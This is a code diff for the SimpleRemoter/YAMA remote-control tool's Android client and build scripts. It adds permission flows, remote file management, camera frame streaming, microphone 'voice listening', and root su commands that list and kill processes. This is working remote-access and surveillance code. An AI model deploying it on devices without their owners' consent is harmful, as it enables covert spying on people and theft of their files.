// · isTvLike —— 电视特征(锁屏启发式):leanback/television/uiMode 任一命中。
|
||||
// 这两者合并过一次,结果就是一台电视的远程控制被关掉;用 typed 命名拆开。
|
||||
// 曾因一次脚本替换丢掉赋值,isTV 静默保持 false。改成 lazy val 后,"漏赋值"不再合法。
|
||||
private val isTV: Boolean by lazy {
|
||||
packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
|
||||
}
|
||||
private val isTvLike: Boolean by lazy { isTvDevice(this) }
|
||||
private var tvLastEncX = -1f
|
||||
private var tvLastEncY = -1f
|
||||
private var tvAccumDX = 0f
|
||||
@@ -225,10 +298,25 @@ class ControlService : AccessibilityService() {
|
||||
override fun onServiceConnected() {
|
||||
super.onServiceConnected()
|
||||
instance = this
|
||||
isTV = packageManager.hasSystemFeature("android.software.leanback")
|
||||
if (isTV) Log.i(TAG, "TV mode: D-pad navigation enabled")
|
||||
// 输入策略与电视特征(isTV / isTvLike)是不可变惰性值,见字段声明处的说明。
|
||||
// 启动时把解析结果打进日志:远程控制异常时先看这一行,判断是不是输入策略选错了。
|
||||
// 同时尽量写进 native ring(服务端「运行日志」能取回);无障碍服务可能先于
|
||||
// nativeInit 连接,这时 native 不可用,退回 logcat 即可。
|
||||
val inputMode = "input=${if (isTV) "dpad" else "touch"} tvLike=$isTvLike"
|
||||
Log.i(TAG, inputMode)
|
||||
runCatching { YamaBridge.nativeLog(Log.INFO, TAG, inputMode) }
|
||||
// 手机在无障碍服务重启时可能仍处于锁屏:SCREEN_OFF 广播发生在本次服务启动之前,
|
||||
// 之后也不会再补发,只有 USER_PRESENT 才会来。连上时按 keyguard 校准一次:
|
||||
// 锁着就补记起点,没锁就清掉旧起点——否则"锁屏时服务重连、之后已解锁"会让
|
||||
// 假 Locked 一直挂着(时长还一直涨)。电视不认 keyguard(部分机型恒为 true,
|
||||
// 正是 db148c4 把活动窗口卡在 Locked 的原因)。
|
||||
if (!isTvLike) {
|
||||
val keyguardLocked = (getSystemService(Context.KEYGUARD_SERVICE) as? KeyguardManager)?.isKeyguardLocked == true
|
||||
lockedAtElapsed = if (keyguardLocked) SystemClock.elapsedRealtime() else 0L
|
||||
}
|
||||
val filter = IntentFilter().apply {
|
||||
addAction(Intent.ACTION_SCREEN_OFF)
|
||||
addAction(Intent.ACTION_SCREEN_ON)
|
||||
addAction(Intent.ACTION_USER_PRESENT)
|
||||
}
|
||||
registerReceiver(screenReceiver, filter)
|
||||
@@ -238,7 +326,11 @@ class ControlService : AccessibilityService() {
|
||||
override fun onAccessibilityEvent(event: AccessibilityEvent?) {
|
||||
if (event?.eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
|
||||
val pkg = event.packageName?.toString()
|
||||
if (!pkg.isNullOrEmpty()) activeWindow = pkg
|
||||
if (!pkg.isNullOrEmpty()) {
|
||||
// 只更新前台包名;锁定起点由 SCREEN_OFF / USER_PRESENT(电视另有
|
||||
// SCREEN_ON)维护,getter 不再询问 KeyguardManager。
|
||||
foregroundPkg = pkg
|
||||
}
|
||||
}
|
||||
}
|
||||
override fun onInterrupt() {}
|
||||
|
||||
@@ -2,11 +2,16 @@ package com.yama.client
|
||||
|
||||
import android.Manifest
|
||||
import android.app.Activity
|
||||
import android.app.AlertDialog
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.content.pm.PackageManager
|
||||
import android.media.projection.MediaProjectionManager
|
||||
import android.net.Uri
|
||||
import android.os.Build
|
||||
import android.os.Bundle
|
||||
import android.os.Environment
|
||||
import android.provider.Settings
|
||||
import android.util.Log
|
||||
import androidx.appcompat.app.AppCompatActivity
|
||||
|
||||
@@ -17,11 +22,19 @@ class MainActivity : AppCompatActivity() {
|
||||
|
||||
private lateinit var projectionManager: MediaProjectionManager
|
||||
|
||||
// 授权流程只能走一次:从「所有文件访问」系统设置返回时 onResume 会再来一遍
|
||||
private var flowStarted = false
|
||||
private var awaitingStorageSettings = false
|
||||
|
||||
companion object {
|
||||
// 远程桌面的屏幕捕获授权失效时,native 会拉起本 Activity;实例还活着时靠这个 extra 走 onNewIntent
|
||||
const val EXTRA_REQUEST_PROJECTION = "request_projection"
|
||||
const val REQUEST_MEDIA_PROJECTION = 1001
|
||||
// POST_NOTIFICATIONS(API 33+)与 RECORD_AUDIO(语音监听)合并成一次请求;
|
||||
// 结果回来后再弹录屏授权,两个系统对话框不会叠在一起。
|
||||
// POST_NOTIFICATIONS(API 33+)、RECORD_AUDIO(语音监听)与 API 29- 的存储权限
|
||||
// 合并成一次请求;结果回来后再弹录屏授权,系统对话框不会叠在一起。
|
||||
const val REQUEST_PERMISSIONS = 1002
|
||||
private const val PREF_NAME = "yama"
|
||||
private const val PREF_ASKED_ALL_FILES = "asked_all_files"
|
||||
}
|
||||
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
@@ -47,7 +60,66 @@ class MainActivity : AppCompatActivity() {
|
||||
// 此时 CaptureService 可能已在运行,不重复弹权限对话框
|
||||
if (savedInstanceState != null) { finish(); return }
|
||||
|
||||
// Android 11+:文件管理要「所有文件访问」,第一次启动引导一次。
|
||||
// 不开启不影响其它功能,文件管理只能看到应用自己的目录(客户端会回提示)。
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R &&
|
||||
!Environment.isExternalStorageManager() && !hasAskedAllFiles()) {
|
||||
AlertDialog.Builder(this)
|
||||
.setTitle("文件管理权限")
|
||||
.setMessage(
|
||||
"为了让主控浏览和传输本机文件,需要开启「所有文件访问」。\n\n" +
|
||||
"请到 设置 → 应用 → YAMA → 所有文件访问 中开启。\n\n" +
|
||||
"不开启也能正常使用远程控制等其它功能,只是文件管理只能看到应用自己的目录。")
|
||||
.setPositiveButton("去开启") { _, _ ->
|
||||
markAskedAllFiles()
|
||||
awaitingStorageSettings = true
|
||||
val intent = Intent(
|
||||
Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION,
|
||||
Uri.parse("package:$packageName"))
|
||||
val opened = runCatching { startActivity(intent) }.isSuccess ||
|
||||
runCatching {
|
||||
startActivity(Intent(Settings.ACTION_MANAGE_ALL_FILES_ACCESS_PERMISSION))
|
||||
}.isSuccess
|
||||
if (!opened) {
|
||||
// 两个设置入口都打不开(极简 ROM):别把启动流程卡住
|
||||
awaitingStorageSettings = false
|
||||
continueStart()
|
||||
}
|
||||
}
|
||||
.setNegativeButton("以后再说") { _, _ ->
|
||||
markAskedAllFiles()
|
||||
continueStart()
|
||||
}
|
||||
.setCancelable(false)
|
||||
.show()
|
||||
return
|
||||
}
|
||||
continueStart()
|
||||
}
|
||||
|
||||
override fun onResume() {
|
||||
super.onResume()
|
||||
// 从「所有文件访问」设置页返回:继续未完成的启动流程
|
||||
if (awaitingStorageSettings) {
|
||||
awaitingStorageSettings = false
|
||||
continueStart()
|
||||
}
|
||||
}
|
||||
|
||||
private fun continueStart() {
|
||||
if (flowStarted) return
|
||||
flowStarted = true
|
||||
|
||||
val missing = ArrayList<String>()
|
||||
// Android 10 及以下走运行时存储权限(Android 10 另靠 requestLegacyExternalStorage)
|
||||
if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.Q &&
|
||||
checkSelfPermission(Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
|
||||
missing.add(Manifest.permission.READ_EXTERNAL_STORAGE)
|
||||
}
|
||||
if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.P &&
|
||||
checkSelfPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
|
||||
missing.add(Manifest.permission.WRITE_EXTERNAL_STORAGE)
|
||||
}
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU &&
|
||||
checkSelfPermission(Manifest.permission.POST_NOTIFICATIONS) != PackageManager.PERMISSION_GRANTED) {
|
||||
// 升级完成/待确认的提示靠通知兜底,拒绝了也不影响主流程
|
||||
@@ -58,6 +130,10 @@ class MainActivity : AppCompatActivity() {
|
||||
// 主控打开语音监听时客户端会回一条「麦克风不可用」的提示
|
||||
missing.add(Manifest.permission.RECORD_AUDIO)
|
||||
}
|
||||
if (checkSelfPermission(Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
|
||||
// 摄像头管理(COMMAND_WEBCAM);拒绝后主控打开视频管理会收到「摄像头不可用」
|
||||
missing.add(Manifest.permission.CAMERA)
|
||||
}
|
||||
if (missing.isNotEmpty()) {
|
||||
requestPermissions(missing.toTypedArray(), REQUEST_PERMISSIONS)
|
||||
return
|
||||
@@ -65,6 +141,15 @@ class MainActivity : AppCompatActivity() {
|
||||
startProjection()
|
||||
}
|
||||
|
||||
private fun hasAskedAllFiles(): Boolean =
|
||||
getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE)
|
||||
.getBoolean(PREF_ASKED_ALL_FILES, false)
|
||||
|
||||
private fun markAskedAllFiles() {
|
||||
getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE)
|
||||
.edit().putBoolean(PREF_ASKED_ALL_FILES, true).apply()
|
||||
}
|
||||
|
||||
override fun onRequestPermissionsResult(
|
||||
requestCode: Int, permissions: Array<out String>, grantResults: IntArray) {
|
||||
super.onRequestPermissionsResult(requestCode, permissions, grantResults)
|
||||
@@ -109,6 +194,15 @@ class MainActivity : AppCompatActivity() {
|
||||
}
|
||||
}
|
||||
|
||||
override fun onNewIntent(intent: Intent?) {
|
||||
super.onNewIntent(intent)
|
||||
// native 请求重新授权时(ScreenSpyThread 发现没有投影会话):若本 Activity 还活着,
|
||||
// onCreate 不会再执行,这里补一次系统「屏幕捕获」授权。
|
||||
if (intent?.getBooleanExtra(EXTRA_REQUEST_PROJECTION, false) == true && !awaitingStorageSettings) {
|
||||
startProjection()
|
||||
}
|
||||
}
|
||||
|
||||
override fun onDestroy() {
|
||||
super.onDestroy()
|
||||
}
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
package com.yama.client
|
||||
|
||||
import java.nio.ByteBuffer
|
||||
import java.nio.charset.Charset
|
||||
import java.nio.charset.CodingErrorAction
|
||||
|
||||
/**
|
||||
* 文件管理通道的 GBK ↔ UTF-8 转换。
|
||||
*
|
||||
* 线上协议(与服务端 FileManagerDlg / MCP 的文件通道一致)是 GBK/ANSI:服务端按
|
||||
* CP936 下发路径、按 CP936 解析客户端上报的文件名。Android 的文件系统路径是
|
||||
* UTF-8,所以两端都要转一次。
|
||||
*
|
||||
* 为什么不在 native 用 iconv:NDK 的 iconv 从 API 28 才提供,客户端 minSdk 是 21,
|
||||
* 低版本设备上链接/加载会失败。
|
||||
*
|
||||
* 严格模式:GBK 转换失败(例如路径里含 GBK 表示不了的字符)时**原样返回输入**,
|
||||
* 与 Linux/macOS 客户端的 iconvConvert 行为一致;服务端对这类路径本来就会直传
|
||||
* UTF-8 字节(见 McpServer.cpp 里 list_files 的注释),两边才能对上。
|
||||
*/
|
||||
object NativeText {
|
||||
private val GBK: Charset = Charset.forName("GBK")
|
||||
|
||||
@JvmStatic
|
||||
fun gbkToUtf8(bytes: ByteArray): ByteArray {
|
||||
if (bytes.isEmpty()) return bytes
|
||||
return try {
|
||||
val dec = GBK.newDecoder()
|
||||
.onMalformedInput(CodingErrorAction.REPORT)
|
||||
.onUnmappableCharacter(CodingErrorAction.REPORT)
|
||||
val text = dec.decode(ByteBuffer.wrap(bytes)).toString()
|
||||
text.toByteArray(Charsets.UTF_8)
|
||||
} catch (e: Exception) {
|
||||
bytes
|
||||
}
|
||||
}
|
||||
|
||||
@JvmStatic
|
||||
fun utf8ToGbk(bytes: ByteArray): ByteArray {
|
||||
if (bytes.isEmpty()) return bytes
|
||||
return try {
|
||||
val dec = Charsets.UTF_8.newDecoder()
|
||||
.onMalformedInput(CodingErrorAction.REPORT)
|
||||
.onUnmappableCharacter(CodingErrorAction.REPORT)
|
||||
val text = dec.decode(ByteBuffer.wrap(bytes)).toString()
|
||||
val enc = GBK.newEncoder()
|
||||
.onMalformedInput(CodingErrorAction.REPORT)
|
||||
.onUnmappableCharacter(CodingErrorAction.REPORT)
|
||||
val buf = enc.encode(java.nio.CharBuffer.wrap(text))
|
||||
val out = ByteArray(buf.remaining())
|
||||
buf.get(out)
|
||||
out
|
||||
} catch (e: Exception) {
|
||||
bytes
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,122 @@
|
||||
package com.yama.client
|
||||
|
||||
import android.os.SystemClock
|
||||
import android.util.Log
|
||||
import java.io.File
|
||||
import java.util.concurrent.TimeUnit
|
||||
|
||||
/**
|
||||
* 进程管理(COMMAND_SYSTEM)的 Android 端。
|
||||
*
|
||||
* Android 7 起 /proc 挂载带 hidepid=2,且 SELinux 的 untrusted_app 域看不到其它
|
||||
* PID——普通 APK 连进程名都枚举不出来,更杀不掉别人。因此这项能力只在取得 root
|
||||
* (su)的设备上声明 CLIENT_CAP_PROCESS,非 root 设备由服务端直接拒绝。
|
||||
*
|
||||
* 数据格式与服务端 TOKEN_PSLIST 对齐:[pid:4][名字:架构\0][完整路径\0]...
|
||||
* 这里只负责产出 "pid\tcomm\texe\n" 文本,二进制封装在 native 侧
|
||||
* (android/app/src/main/cpp/ProcessManagerAndroid.h),避免在 Kotlin 里重复协议常量。
|
||||
*/
|
||||
object RootProcess {
|
||||
private const val TAG = "YAMA_PROC"
|
||||
private const val SU_TIMEOUT_SEC = 6L
|
||||
private const val SU_PROBE_TIMEOUT_SEC = 3L
|
||||
// 否定结果只缓存 5 分钟:用户可能只是当时点了「拒绝」,重启 App 才能恢复太蠢
|
||||
private const val NEGATIVE_TTL_MS = 5 * 60 * 1000L
|
||||
|
||||
private val suCandidates = listOf(
|
||||
"/system/bin/su", "/system/xbin/su", "/sbin/su", "/su/bin/su",
|
||||
"/debug_ramdisk/su", "/data/adb/ksu/bin/su", "/data/adb/magisk/su"
|
||||
)
|
||||
|
||||
@Volatile private var cachedTrue = false
|
||||
@Volatile private var cachedFalseAt = 0L
|
||||
|
||||
/** su 是否存在。true 永久缓存;false 只缓存 5 分钟。 */
|
||||
@JvmStatic
|
||||
@Synchronized
|
||||
fun isRootAvailable(): Boolean {
|
||||
if (cachedTrue) return true
|
||||
val now = SystemClock.elapsedRealtime()
|
||||
if (cachedFalseAt != 0L && now - cachedFalseAt < NEGATIVE_TTL_MS) return false
|
||||
|
||||
var exists = suCandidates.any { runCatching { File(it).exists() }.getOrDefault(false) } ||
|
||||
runCatching {
|
||||
val p = ProcessBuilder("which", "su").redirectErrorStream(true).start()
|
||||
val done = p.waitFor(2, TimeUnit.SECONDS)
|
||||
if (!done) { p.destroyForcibly(); false } else p.exitValue() == 0
|
||||
}.getOrDefault(false)
|
||||
|
||||
// 路径探测对 Magisk/DenyList 之类「隐藏 su」的配置不可靠;再做一次真实调用。
|
||||
// 这会触发一次 root 授权框(只在探测时),授权成功才认为有 root。
|
||||
// 探测超时用 3 秒,别让登录等太久。
|
||||
if (!exists) {
|
||||
val out = runSu("id", SU_PROBE_TIMEOUT_SEC)
|
||||
exists = out != null && out.contains("uid=0")
|
||||
}
|
||||
|
||||
if (exists) cachedTrue = true else cachedFalseAt = now
|
||||
Log.i(TAG, "root available=$exists")
|
||||
return exists
|
||||
}
|
||||
|
||||
/**
|
||||
* 通过 su 枚举 /proc。返回每行 "pid\tcomm\texe",失败返回空串。
|
||||
* 脚本在 root shell 里跑,应用自身的 SELinux 限制不适用。
|
||||
*/
|
||||
@JvmStatic
|
||||
fun snapshot(): String {
|
||||
if (!isRootAvailable()) return ""
|
||||
// 单引号包裹的 sh 脚本;printf 的 \t \n 由 sh 解释
|
||||
// comm/exe 里可能含制表符/换行(进程名可被 prctl 改成任意内容),
|
||||
// 先 tr 成空格,否则 native 侧按 \t 解析会被伪造的进程名打乱。
|
||||
val script =
|
||||
"for p in /proc/[0-9]*; do " +
|
||||
"pid=\${p##*/}; " +
|
||||
"comm=\$(cat \$p/comm 2>/dev/null | tr '\\t\\n\\r' ' '); " +
|
||||
"exe=\$(readlink \$p/exe 2>/dev/null | tr '\\t\\n\\r' ' '); " +
|
||||
"if [ -n \"\$comm\" ]; then printf '%s\\t%s\\t%s\\n' \"\$pid\" \"\$comm\" \"\$exe\"; fi; " +
|
||||
"done"
|
||||
return runSu(script) ?: ""
|
||||
}
|
||||
|
||||
/** 批量 SIGKILL。返回是否全部下发(不保证进程已退出)。 */
|
||||
@JvmStatic
|
||||
fun kill(pids: IntArray): Boolean {
|
||||
if (!isRootAvailable() || pids.isEmpty()) return false
|
||||
val list = pids.filter { it > 1 }.joinToString(" ")
|
||||
if (list.isEmpty()) return false
|
||||
val out = runSu("kill -9 $list")
|
||||
Log.i(TAG, "kill [$list] -> ${out != null}")
|
||||
return out != null
|
||||
}
|
||||
|
||||
private fun runSu(script: String, timeoutSec: Long = SU_TIMEOUT_SEC): String? {
|
||||
return runCatching {
|
||||
val p = ProcessBuilder("su", "-c", script)
|
||||
.redirectErrorStream(true)
|
||||
.start()
|
||||
|
||||
// 必须在等待的同时把 stdout 读走:几百个进程的输出可能超过管道缓冲,
|
||||
// 写满后子进程会阻塞,waitFor 只能等到超时。
|
||||
val out = StringBuilder()
|
||||
val reader = Thread {
|
||||
runCatching {
|
||||
p.inputStream.bufferedReader().use { out.append(it.readText()) }
|
||||
}
|
||||
}
|
||||
reader.isDaemon = true
|
||||
reader.start()
|
||||
|
||||
val done = p.waitFor(timeoutSec, TimeUnit.SECONDS)
|
||||
if (!done) {
|
||||
p.destroyForcibly()
|
||||
Log.w(TAG, "su timed out")
|
||||
return@runCatching null
|
||||
}
|
||||
reader.join(1000)
|
||||
val text = out.toString()
|
||||
// 用户拒绝授权时 su 通常返回非 0,且输出为空/拒绝信息
|
||||
if (p.exitValue() != 0 && text.isBlank()) null else text
|
||||
}.onFailure { Log.w(TAG, "su failed: $it") }.getOrNull()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
package com.yama.client
|
||||
|
||||
import android.Manifest
|
||||
import android.content.Context
|
||||
import android.content.pm.PackageManager
|
||||
import android.os.Build
|
||||
import android.os.Environment
|
||||
import android.os.storage.StorageManager
|
||||
import android.util.Log
|
||||
import java.io.File
|
||||
|
||||
/**
|
||||
* 文件管理(COMMAND_LIST_DRIVE)的存储根枚举。
|
||||
*
|
||||
* 服务端文件管理器按 Windows 的盘符模型显示远程目录,所以这里把 Android 的存储
|
||||
* 挂成盘符:
|
||||
* P: 应用私有目录(永远可读,未授予「所有文件访问」时是唯一可用的根)
|
||||
* I: 内部存储(/storage/emulated/0)
|
||||
* S:/T:/… SD 卡、U 盘等可移动存储
|
||||
*
|
||||
* 权限:Android 11+ 需要 MANAGE_EXTERNAL_STORAGE(设置 → 应用 → YAMA → 所有文件访问);
|
||||
* 未授予时 A: 仍可用,I:/S: 是否出现取决于系统是否允许列目录(scoped storage 下
|
||||
* 大多能列出名字但读不了别人的文件),因此主控侧可能看到操作失败——这是权限问题的
|
||||
* 预期表现,native 侧会在打开文件管理器时发一条提示。
|
||||
*/
|
||||
object StorageHelper {
|
||||
private const val TAG = "YAMA_FS"
|
||||
|
||||
@JvmStatic
|
||||
fun roots(): Array<String> {
|
||||
val ctx = CaptureService.instance ?: CaptureService.appContext ?: return emptyArray()
|
||||
val out = ArrayList<String>()
|
||||
|
||||
// 应用私有目录:filesDir 对自身永远可读,作为降级根。
|
||||
// 用 P:(Private)而不是 A::服务端对话框把 A/B 固定按软驱图标显示。
|
||||
runCatching {
|
||||
val appDir = ctx.filesDir?.absolutePath
|
||||
if (!appDir.isNullOrEmpty()) add(out, 'P', appDir, "App data", false)
|
||||
}
|
||||
|
||||
@Suppress("DEPRECATION")
|
||||
val internal = runCatching { Environment.getExternalStorageDirectory()?.absolutePath }
|
||||
.getOrNull()
|
||||
if (!internal.isNullOrEmpty() && canList(internal))
|
||||
add(out, 'I', internal, "Internal storage", false)
|
||||
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
|
||||
val sm = ctx.getSystemService(Context.STORAGE_SERVICE) as? StorageManager
|
||||
var letter = 'S'
|
||||
runCatching { sm?.storageVolumes }.getOrNull()?.forEach { vol ->
|
||||
if (vol.isPrimary) return@forEach
|
||||
val dir = runCatching { vol.directory?.absolutePath }.getOrNull()
|
||||
if (!dir.isNullOrEmpty() && canList(dir) && letter <= 'Z') {
|
||||
add(out, letter, dir, "SD card", true)
|
||||
letter++
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// API 21-29 没有 StorageVolume.getDirectory(),直接扫 /storage
|
||||
var letter = 'S'
|
||||
runCatching { File("/storage").listFiles() }.getOrNull()
|
||||
?.sortedBy { it.name }
|
||||
?.forEach { f ->
|
||||
val name = f.name
|
||||
if (name == "emulated" || name == "self") return@forEach
|
||||
if (f.isDirectory && canList(f.absolutePath) && letter <= 'Z') {
|
||||
add(out, letter, f.absolutePath, "SD card", true)
|
||||
letter++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Log.i(TAG, "roots=" + out.joinToString("; "))
|
||||
return out.toTypedArray()
|
||||
}
|
||||
|
||||
/** 是否具备整机文件访问能力(Android 11+ 的「所有文件访问」) */
|
||||
@JvmStatic
|
||||
fun allFilesAccess(): Boolean {
|
||||
val ctx = CaptureService.instance ?: CaptureService.appContext ?: return false
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
|
||||
return runCatching { Environment.isExternalStorageManager() }.getOrDefault(false)
|
||||
}
|
||||
return ctx.checkSelfPermission(Manifest.permission.READ_EXTERNAL_STORAGE) ==
|
||||
PackageManager.PERMISSION_GRANTED
|
||||
}
|
||||
|
||||
private fun add(out: MutableList<String>, letter: Char, path: String,
|
||||
label: String, removable: Boolean) {
|
||||
// 去尾斜杠;服务端拼路径时统一自己加分隔符
|
||||
val clean = if (path.length > 1 && path.endsWith('/')) path.dropLast(1) else path
|
||||
out.add("$letter|$clean|$label|${if (removable) 1 else 0}")
|
||||
}
|
||||
|
||||
private fun canList(path: String): Boolean =
|
||||
runCatching { File(path).list() != null }.getOrDefault(false)
|
||||
}
|
||||
@@ -30,6 +30,12 @@ object YamaBridge {
|
||||
/** 把一行文本回报到服务端消息栏(TOKEN_CLIENT_MSG),用于升级流程的成败说明 */
|
||||
external fun nativeReportMessage(msg: String)
|
||||
|
||||
/**
|
||||
* 把一行日志写进 native 的 Logger ring:服务端「运行日志」菜单 / MCP get_client_log
|
||||
* 会取回这份 ring。电视、机顶盒这类没有 adb 的设备靠它回传编码器/投影状态。
|
||||
*/
|
||||
external fun nativeLog(priority: Int, tag: String, msg: String)
|
||||
|
||||
/**
|
||||
* 远程交谈:发送一条已按 GBK 编码的消息(不含结尾 NUL,native 补)。
|
||||
* 没有活跃的交谈子连接时返回 false。
|
||||
@@ -41,4 +47,13 @@ object YamaBridge {
|
||||
* GSM 6.10/WAV49 并写入语音子连接。没有活跃会话时直接丢弃。
|
||||
*/
|
||||
external fun nativeAudioSendPcm(samples: ShortArray)
|
||||
|
||||
/**
|
||||
* 摄像头管理:Camera2 每输出一帧 JPEG,交给 native 封装成
|
||||
* [TOKEN_WEBCAM_DIB][isCompress][fcc][JPEG] 发给服务端。
|
||||
*/
|
||||
external fun nativeOnCameraJpeg(data: ByteArray)
|
||||
|
||||
/** 摄像头采集失败(无权限 / 被占用 / 会话配置失败),回报主控 */
|
||||
external fun nativeOnCameraError(msg: String)
|
||||
}
|
||||
@@ -1,16 +1,31 @@
|
||||
@echo off
|
||||
:: SimpleRemoter Quick Build Script
|
||||
:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish|go-server|serverd|client]
|
||||
:: go-server Build Go fallback server only -> Bin\YamaGo_x64.exe
|
||||
:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish|go-server|server-linux|serverd|client] [-name NAME]
|
||||
:: go-server Build Go fallback server only - Bin\YamaGo_x64.exe
|
||||
:: go-server publish Same, plus UPX --best compression
|
||||
:: serverd Debug server only (x64) -> Bin\Yama_x64d.exe
|
||||
:: client Debug client (x64) -> x64\Debug\ghost.exe
|
||||
:: server-linux Cross-compile Go server for Linux - Bin\server_linux_amd64
|
||||
:: serverd Debug server only (x64) - Bin\Yama_x64d.exe
|
||||
:: client Debug client (x64) - x64\Debug\ghost.exe
|
||||
:: -name NAME Server output name, writes Bin\NAME_x64.exe instead of
|
||||
:: Bin\Yama_x64.exe. Use it to build while the Release
|
||||
:: server is running and Bin\Yama_x64.exe is locked:
|
||||
:: build.cmd server -name YamaTest
|
||||
:: Applies to server / serverd / publish.
|
||||
::
|
||||
:: NOTE: keep this file pure ASCII. cmd reads .cmd as the OEM code page (936
|
||||
:: here), so UTF-8 text can swallow the following newline and merge the next
|
||||
:: command into a comment line - which then turns its ">" into a redirect.
|
||||
|
||||
setlocal enabledelayedexpansion
|
||||
|
||||
:: Capture the script directory before any shift: shift moves %0 along with
|
||||
:: %1..%9, after which %~dp0 resolves to the current directory instead.
|
||||
set SCRIPT_DIR=%~dp0
|
||||
|
||||
set CONFIG=Release
|
||||
set PLATFORM=x64
|
||||
set EXTRA_ARGS=
|
||||
set SERVER_NAME=
|
||||
|
||||
:parse_args
|
||||
if "%~1"=="" goto :run
|
||||
@@ -23,9 +38,20 @@ if /i "%~1"=="server" (set EXTRA_ARGS=!EXTRA_ARGS! -ServerOnly& shift& goto :par
|
||||
if /i "%~1"=="clean" (set EXTRA_ARGS=!EXTRA_ARGS! -Clean& shift& goto :parse_args)
|
||||
if /i "%~1"=="publish" (set EXTRA_ARGS=!EXTRA_ARGS! -Publish& shift& goto :parse_args)
|
||||
if /i "%~1"=="go-server" (set EXTRA_ARGS=!EXTRA_ARGS! -GoServer& shift& goto :parse_args)
|
||||
if /i "%~1"=="server-linux" (set EXTRA_ARGS=!EXTRA_ARGS! -GoServerLinux& shift& goto :parse_args)
|
||||
:: Debug presets: serverd = debug server x64 only, client = debug ghost x64 only
|
||||
if /i "%~1"=="serverd" (set CONFIG=Debug& set PLATFORM=x64& set EXTRA_ARGS=!EXTRA_ARGS! -ServerOnly& shift& goto :parse_args)
|
||||
if /i "%~1"=="client" (set CONFIG=Debug& set PLATFORM=x64& set EXTRA_ARGS=!EXTRA_ARGS! -ClientOnly& shift& goto :parse_args)
|
||||
if /i "%~1"=="-name" (
|
||||
if "%~2"=="" (
|
||||
echo ERROR: -name needs a value, e.g. build.cmd server -name YamaTest
|
||||
exit /b 1
|
||||
)
|
||||
set SERVER_NAME=%~2
|
||||
shift
|
||||
shift
|
||||
goto :parse_args
|
||||
)
|
||||
echo Unknown argument: %~1
|
||||
shift
|
||||
goto :parse_args
|
||||
@@ -33,9 +59,13 @@ goto :parse_args
|
||||
:run
|
||||
echo.
|
||||
echo Building SimpleRemoter: %CONFIG% ^| %PLATFORM%
|
||||
if not "%SERVER_NAME%"=="" echo Server name: %SERVER_NAME%
|
||||
echo.
|
||||
|
||||
powershell -ExecutionPolicy Bypass -File "%~dp0build.ps1" -Config %CONFIG% -Platform %PLATFORM% %EXTRA_ARGS%
|
||||
set NAME_ARG=
|
||||
if not "%SERVER_NAME%"=="" set NAME_ARG=-ServerName "%SERVER_NAME%"
|
||||
|
||||
powershell -ExecutionPolicy Bypass -File "%SCRIPT_DIR%build.ps1" -Config %CONFIG% -Platform %PLATFORM% %EXTRA_ARGS% %NAME_ARG%
|
||||
|
||||
if %errorlevel% neq 0 (
|
||||
echo.
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
# SimpleRemoter Build Script
|
||||
# Usage: .\build.ps1 [-Config Release|Debug] [-Platform x64|x86|all] [-ServerOnly] [-ClientOnly] [-Clean] [-Publish]
|
||||
# Usage: .\build.ps1 [-Config Release|Debug] [-Platform x64|x86|all] [-ServerOnly] [-ClientOnly] [-Clean] [-Publish] [-ServerName NAME]
|
||||
#
|
||||
# Requirements:
|
||||
# - Visual Studio 2019 or 2022
|
||||
@@ -18,7 +18,13 @@ param(
|
||||
[switch]$ClientOnly, # Only build the client executable (ghost), skip server
|
||||
[switch]$Clean, # Clean before build
|
||||
[switch]$Publish, # Publish mode: rebuild all deps + x64 Release + UPX compress
|
||||
[switch]$GoServer # Build Go fallback server (server/go) -> Bin/YamaGo_x64.exe
|
||||
[switch]$GoServer, # Build Go fallback server (server/go) -> Bin/YamaGo_x64.exe
|
||||
[switch]$GoServerLinux, # Cross-compile the Go server for Linux -> Bin/server_linux_amd64
|
||||
|
||||
# 服务端输出名,默认 Yama(-> Bin\Yama_x64.exe)。vcxproj 里输出名是
|
||||
# $(SolutionDir)Bin\$(TargetName)_<platform><ext>,所以这里覆盖 TargetName 即可。
|
||||
# 用途:Release 服务端正在运行、Bin\Yama_x64.exe 被占用时,编译到另一个名字。
|
||||
[string]$ServerName = ""
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
@@ -27,16 +33,38 @@ $rootDir = $PSScriptRoot
|
||||
$binDir = Join-Path $rootDir "Bin"
|
||||
$upxPath = Join-Path $rootDir "server\2015Remote\res\3rd\upx.exe"
|
||||
|
||||
# 服务端输出名。vcxproj 把输出写成 $(SolutionDir)Bin\$(TargetName)_<platform><ext>,
|
||||
# 覆盖 TargetName 就能换文件名,不用改工程。默认仍是 Yama -> Bin\Yama_x64.exe,
|
||||
# 行为与以前一致;指定别的名字主要是为了在 Release 服务端运行中
|
||||
# (Bin\Yama_x64.exe 被独占)时还能编译。
|
||||
if ($ServerName) {
|
||||
if ($ServerName -notmatch '^[A-Za-z0-9][A-Za-z0-9_.-]*$') {
|
||||
Write-Host "ERROR: invalid -ServerName '$ServerName'." -ForegroundColor Red
|
||||
